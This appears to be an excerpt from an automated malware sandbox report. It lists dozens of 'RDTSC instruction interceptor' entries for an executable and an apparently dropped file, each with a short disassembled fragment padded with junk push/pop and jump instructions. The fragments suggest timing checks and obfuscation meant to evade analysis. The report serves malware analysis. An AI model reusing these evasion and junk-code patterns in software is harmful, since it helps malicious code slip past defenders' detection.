Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400B70 second address: 5400B97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ebx, eax 0x0000000f movzx esi, dx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400B97 second address: 5400BCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 3C1BD5FDh 0x00000008 mov edi, eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f mov ebx, eax 0x00000011 movzx eax, bx 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 jmp 00007FB21D05D609h 0x0000001c pop ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400BCE second address: 5400BD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: CF6406 second address: CF640A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: CF640A second address: CF6422 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnp 00007FB21D0A7D76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jo 00007FB21D0A7D7Ch 0x00000012 jnp 00007FB21D0A7D76h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: CF6422 second address: CF642C instructions: 0x00000000 rdtsc 0x00000002 jp 00007FB21D05D602h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: CF642C second address: CF6432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: CFC391 second address: CFC3C0 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB21D05D5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB21D05D607h 0x00000011 jmp 00007FB21D05D5FCh 0x00000016 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: CFC3C0 second address: CFC3C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: CFC52A second address: CFC52E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: CFC807 second address: CFC81A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D7Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: CFC81A second address: CFC823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: CFC823 second address: CFC82A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: CFC9CC second address: CFCA50 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 jo 00007FB21D05D5F6h 0x0000000b pop edx 0x0000000c jo 00007FB21D05D60Ch 0x00000012 jmp 00007FB21D05D604h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 pop edx 0x0000001a pop eax 0x0000001b pushad 0x0000001c pushad 0x0000001d jp 00007FB21D05D5F6h 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 popad 0x00000026 pushad 0x00000027 push esi 0x00000028 pop esi 0x00000029 jmp 00007FB21D05D605h 0x0000002e jmp 00007FB21D05D607h 0x00000033 popad 0x00000034 pushad 0x00000035 pushad 0x00000036 popad 0x00000037 jmp 00007FB21D05D603h 0x0000003c popad 0x0000003d jl 00007FB21D05D5FCh 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D004B7 second address: D0050A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FB21D0A7D83h 0x00000011 popad 0x00000012 popad 0x00000013 mov eax, dword ptr [eax] 0x00000015 push ecx 0x00000016 jmp 00007FB21D0A7D89h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push ecx 0x00000023 push edi 0x00000024 pop edi 0x00000025 pop ecx 0x00000026 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D00533 second address: D00545 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D5FEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D00545 second address: D005B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB21D0A7D84h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push ecx 0x00000013 call 00007FB21D0A7D78h 0x00000018 pop ecx 0x00000019 mov dword ptr [esp+04h], ecx 0x0000001d add dword ptr [esp+04h], 00000014h 0x00000025 inc ecx 0x00000026 push ecx 0x00000027 ret 0x00000028 pop ecx 0x00000029 ret 0x0000002a mov dh, 69h 0x0000002c jmp 00007FB21D0A7D84h 0x00000031 push 00000000h 0x00000033 or dword ptr [ebp+122D3387h], esi 0x00000039 push D7B9022Ch 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FB21D0A7D7Eh 0x00000045 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D005B3 second address: D005BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FB21D05D5F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D00725 second address: D0073A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D0073A second address: D007B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jnp 00007FB21D05D60Dh 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 jmp 00007FB21D05D608h 0x00000019 pushad 0x0000001a jmp 00007FB21D05D603h 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 popad 0x00000023 mov eax, dword ptr [eax] 0x00000025 pushad 0x00000026 push esi 0x00000027 jl 00007FB21D05D5F6h 0x0000002d pop esi 0x0000002e pushad 0x0000002f jmp 00007FB21D05D605h 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D007B8 second address: D00830 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jmp 00007FB21D0A7D80h 0x0000000f pop eax 0x00000010 jc 00007FB21D0A7D86h 0x00000016 push 00000003h 0x00000018 mov dword ptr [ebp+122D358Fh], edx 0x0000001e push 00000000h 0x00000020 mov cx, 858Fh 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push eax 0x00000029 call 00007FB21D0A7D78h 0x0000002e pop eax 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 add dword ptr [esp+04h], 0000001Bh 0x0000003b inc eax 0x0000003c push eax 0x0000003d ret 0x0000003e pop eax 0x0000003f ret 0x00000040 mov edx, 36CCCCE1h 0x00000045 mov edx, dword ptr [ebp+122D36FCh] 0x0000004b push 589ADB14h 0x00000050 push eax 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D00830 second address: D00836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D00932 second address: D009AB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB21D0A7D87h 0x0000000b popad 0x0000000c xor dword ptr [esp], 7834BF39h 0x00000013 movzx edx, di 0x00000016 push 00000003h 0x00000018 push esi 0x00000019 movsx ecx, si 0x0000001c pop esi 0x0000001d push 00000000h 0x0000001f call 00007FB21D0A7D7Bh 0x00000024 mov esi, dword ptr [ebp+122D17A2h] 0x0000002a pop edi 0x0000002b push 00000003h 0x0000002d push 00000000h 0x0000002f push ebx 0x00000030 call 00007FB21D0A7D78h 0x00000035 pop ebx 0x00000036 mov dword ptr [esp+04h], ebx 0x0000003a add dword ptr [esp+04h], 00000014h 0x00000042 inc ebx 0x00000043 push ebx 0x00000044 ret 0x00000045 pop ebx 0x00000046 ret 0x00000047 or esi, dword ptr [ebp+122D195Dh] 0x0000004d call 00007FB21D0A7D79h 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 jg 00007FB21D0A7D76h 0x0000005b rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D009AB second address: D009C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D605h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D009C8 second address: D009F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e ja 00007FB21D0A7D76h 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D009F0 second address: D00A06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB21D05D602h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D00A06 second address: D00A1C instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB21D0A7D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D00A1C second address: D00AA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D608h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push ebx 0x0000000c jnl 00007FB21D05D609h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push esi 0x00000018 jmp 00007FB21D05D5FCh 0x0000001d pop esi 0x0000001e pop eax 0x0000001f mov edi, eax 0x00000021 mov dword ptr [ebp+122D1866h], edi 0x00000027 lea ebx, dword ptr [ebp+124553F4h] 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 call 00007FB21D05D5F8h 0x00000035 pop eax 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a add dword ptr [esp+04h], 00000015h 0x00000042 inc eax 0x00000043 push eax 0x00000044 ret 0x00000045 pop eax 0x00000046 ret 0x00000047 mov edi, 51C79195h 0x0000004c xor si, CD7Bh 0x00000051 xchg eax, ebx 0x00000052 push eax 0x00000053 push edx 0x00000054 push esi 0x00000055 pushad 0x00000056 popad 0x00000057 pop esi 0x00000058 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D00AA4 second address: D00ABB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB21D0A7D82h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D125F5 second address: D125F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D21126 second address: D2112A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D1F590 second address: D1F5AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB21D05D601h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D1F5AB second address: D1F5D0 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB21D0A7D76h 0x00000008 jmp 00007FB21D0A7D87h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D1F5D0 second address: D1F5D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D1FB25 second address: D1FB29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D1FB29 second address: D1FB46 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB21D05D603h 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D1FE52 second address: D1FE88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB21D0A7D7Bh 0x00000009 pop ecx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e jmp 00007FB21D0A7D7Eh 0x00000013 jmp 00007FB21D0A7D83h 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: CEA7B8 second address: CEA7CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FB21D05D5FEh 0x0000000b rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: CEA7CB second address: CEA7D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: CEA7D1 second address: CEA7D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D20798 second address: D2079C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D2079C second address: D207A8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnp 00007FB21D05D5F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D207A8 second address: D207B4 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB21D0A7D7Eh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D208F4 second address: D208FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FB21D05D5F6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D208FE second address: D2091E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D80h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007FB21D0A7D7Ah 0x00000011 push eax 0x00000012 pop eax 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D2091E second address: D20924 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D20924 second address: D2092A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D2092A second address: D20930 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D20930 second address: D20948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jmp 00007FB21D0A7D7Ch 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D247EE second address: D247F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: CF7E0D second address: CF7E11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: CF7E11 second address: CF7E15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D27829 second address: D2782D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D2782D second address: D27833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D2DD06 second address: D2DD0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D2D49F second address: D2D4A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D2D4A3 second address: D2D4A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D2D600 second address: D2D623 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB21D05D606h 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D2D623 second address: D2D629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D323E2 second address: D323E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D323E6 second address: D3246B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 add dword ptr [esp], 0C77E8A6h 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FB21D0A7D78h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov edi, dword ptr [ebp+122D361Ch] 0x0000002e call 00007FB21D0A7D79h 0x00000033 ja 00007FB21D0A7D80h 0x00000039 push eax 0x0000003a jbe 00007FB21D0A7D82h 0x00000040 jns 00007FB21D0A7D7Ch 0x00000046 mov eax, dword ptr [esp+04h] 0x0000004a js 00007FB21D0A7D94h 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007FB21D0A7D86h 0x00000057 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D3246B second address: D3248C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 jmp 00007FB21D05D604h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D3248C second address: D32490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D32792 second address: D327A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB21D05D5FEh 0x0000000e rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D33182 second address: D33188 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D334F3 second address: D334F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D33B07 second address: D33B0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D33B0B second address: D33B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D35F33 second address: D35FA4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB21D0A7D7Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FB21D0A7D78h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push edi 0x0000002c call 00007FB21D0A7D78h 0x00000031 pop edi 0x00000032 mov dword ptr [esp+04h], edi 0x00000036 add dword ptr [esp+04h], 00000019h 0x0000003e inc edi 0x0000003f push edi 0x00000040 ret 0x00000041 pop edi 0x00000042 ret 0x00000043 xor edi, dword ptr [ebp+122D375Ch] 0x00000049 push 00000000h 0x0000004b mov si, 5D47h 0x0000004f push eax 0x00000050 jo 00007FB21D0A7D82h 0x00000056 jo 00007FB21D0A7D7Ch 0x0000005c push eax 0x0000005d push edx 0x0000005e rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D36985 second address: D36989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D372C6 second address: D372CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D372CA second address: D372D4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB21D05D5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D372D4 second address: D372DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D3B225 second address: D3B242 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D605h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D3B242 second address: D3B246 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIIJKJDAFHJ.exe	RDTSC instruction interceptor: First address: D3F530 second address: D3F566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FB21D05D603h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007FB21D05D60Ah 0x00000014 jmp 00007FB21D05D604h 0x00000019 rdtsc
